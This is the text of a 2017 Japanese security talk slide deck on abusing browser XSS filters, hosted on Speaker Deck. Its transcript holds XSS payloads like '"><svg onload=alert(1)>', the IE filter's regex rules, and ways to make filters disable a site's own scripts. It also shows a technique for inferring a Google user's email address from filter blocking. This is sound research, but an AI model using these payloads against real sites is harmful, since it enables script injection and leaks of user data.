Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XSSフィルターの使い方/ Shibuya.XSS techtalk #9

Masato Kinugawa
March 31, 2017
Technology
7
3.1k

XSSフィルターの使い方/ Shibuya.XSS techtalk #9

2017/3/30 に行われた Shibuya.XSS techtalk #9 の発表資料です。

Masato Kinugawa

March 31, 2017
Tweet

More Decks by Masato Kinugawa

See All by Masato Kinugawa
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.3k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.1k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
18k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
21k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
21
6.8k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
97k
Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)
masatokinugawa
9
25k
バグハンターが見てきたBug Bountyの7年 / LINE Developer Meetup #34 Security Bug Bounty
masatokinugawa
18
12k
5文字で書くJavaScript/ Shibuya.XSS techtalk #10
masatokinugawa
35
20k

Other Decks in Technology

See All in Technology
Docker Desktop で Docker を始めよう
zembutsu
PRO
0
170
【Oracle Cloud ウェビナー】2025年のセキュリティ脅威を読み解く：リスクに備えるためのレジリエンスとデータ保護
oracle4engineer
PRO
1
100
0→1事業こそPMは営業すべし / pmconf #落選お披露目 / PM should do sales in zero to one
roki_n_
PRO
1
1.5k
Reactフレームワークプロダクトを
モバイルアプリにして、もっと便利に。 ユーザに価値を届けよう。/React Framework with Capacitor
rdlabo
0
130
Visual StudioとかIDE関連小ネタ話
kosmosebi
1
380
PaaSの歴史と、 アプリケーションプラットフォームのこれから
jacopen
7
1.5k
2025年のARグラスの潮流
kotauchisunsun
0
800
デジタルアイデンティティ技術 認可・ID連携・認証 応用 / 20250114-OIDF-J-EduWG-TechSWG
oidfj
2
680
When Windows Meets Kubernetes…
pichuang
0
310
【NGK2025S】動物園（PINTO_model_zoo）に遊びに行こう
kazuhitotakahashi
0
240
Copilotの力を実感！ 3ヶ月間の生成AI研修の試行錯誤＆成功事例をご紹介。果たして得たものとは・・？
ktc_shiori
0
350
Evolving Architecture
rainerhahnekamp
3
260

Featured

See All Featured
The Illustrated Children's Guide to Kubernetes
chrisshort
48
49k
GitHub's CSS Performance
jonrohan
1030
460k
StorybookのUI Testing Handbookを読んだ
zakiyama
28
5.4k
Rails Girls Zürich Keynote
gr2m
94
13k
Designing for Performance
lara
604
68k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.4k
Speed Design
sergeychernyshev
25
740
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
6
500
The Power of CSS Pseudo Elements
geoffreycrofte
74
5.4k
Building Your Own Lightsaber
phodgson
104
6.2k
4 Signs Your Business is Dying
shpigford
182
22k
Principles of Awesome APIs and How to Build Them.
keavy
126
17k

Transcript

  1. None
  2. None

  3. ❶ ➌ ❷ ❹

  4. None

  5. https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg onload=alert(1)>"> </body> </html>

  6. https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg #nload=alert#1#>"> </body> </html>

  7. https://addons.mozilla.org/ja/firefox/addon/noscript/

  8. HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT

    Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
  9. None
  10. None
  11. None

  12. https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701 <input value=""><svg #nload=alert#1#>"> <input value=""><svg onload=alert(1)>">

  13. None

  14. <input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>"> <!-- <svg #nload=alert(1)> -->

    https://example.com/?q="><svg+onload=alert(1)>

  15. <input value=""><svg onload=alert(1)>"> <input value="<svg onload=alert(1)>"> <!-- <aaa onload=alert(1)> -->

    https://example.com/?q="><svg+onload=alert(1)>

  16. https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701

  17. <title>&lt;script&gt; - Google 検索</title> <script>(function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>

  18. <script src=//example.jp/jquery.js></script> <script> if(jQuery){ // Expected }else{ // ??? }

    </script> https://example.com/?<script src=//example.jp/jquery.js></script>
  19. None

  20. {<a.*?hr{e}f} {[\"\'][ ]*(([^a-z0-9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])))).+?{\(}.*?{\)}} [...] {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0 *((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53) |(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63) );?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]| (&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9

    |(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] "><svg #nload=alert#1#>

  21. [ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. "><svg[SPACE]onload=alert(1)>

  22. "><svg onload=alert(1)> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"

  23. None

  24. https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622

  25. https://www.slideshare.net/masatokinugawa/xxn-ja

  26. [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script> q = "";document#body.innerHTML="<xss>"; </script> URL:

    ?q=";document.body.innerHTML="<xss>

  27. [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src> <script src="//example.co.jp/test.js" type="text/javascript"> </script>

    URL: ?"/++.+++=

  28. "style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf:

  29. <script src="//example^co.jp/test.js" type="text/javascript"> </script>

  30. window#name//Syntax Error window^name//Syntax OK <script> window.name

  31. None

  32. url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }

  33. https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from

    an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else

  34. https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] <script> foo=``; q="[USER_INPUT]"; </script> <script> foo=`#; q="${alert(1)}#`//"; </script>

  35. https://example.com/?+onfiles+++=. <script src="/comm#nfiles/js/important.js" type="text/javascript"> </script> [...]

  36. https://bugs.chromium.org/p/chromium/issues/detail?id=654794

  37. None

  38. http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html

  39. https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //

    // }else{ // } <script>…</script>

  40.     

  41. https://www.youtube.com/watch?v=IMDWjKFbsJE

  42. HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options:

    SAMEORIGIN

  43. https://accounts.google.com/ServiceLogin?

  44. google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br

    google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(

  45. ✨ ✨ ✨

  46. {<a.*?hr{e}f}

  47. 0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>

    5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/

  48. 0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>

    5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> <a%XXhref https://example.com/?<a%2Bhref

  49. 0 <ahr#f> 1 <aAhr#f> 2 <aAAhr#f> 3 <aAAAhr#f> 4 <aAAAAhr#f>

    5 <aAAAAAhr#f> 6 <aAAAAAAhr#f> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/?<a%2Bhref

  50. 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_

    A a 0x00 0-9 < B-Z b-z

  51. 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_

    A a 0x00 0-9 < B-Z b-z

  52. <div class="gb_xb">[email protected]</div><div class="gb_pb"> {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}

  53. ✔ ✔ ✔ ✔

  54. <div class="gb_xb">[email protected]</div><div class="gb_pb">

  55. https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]= https://www.google.co.jp/?"[email protected]=

  56. https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.de/?"[email protected]= https://www.google.ru/?"[email protected]=

    https://www.google.ru/?"[email protected]=

  57. https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ru/?"[email protected]= https://www.google.ca/?"[email protected]= ...

  58. ✨ ✨ ✨

  59. None
  60. None
  61. None
  62. None

  63.   

  64.     

  65.      

  66. None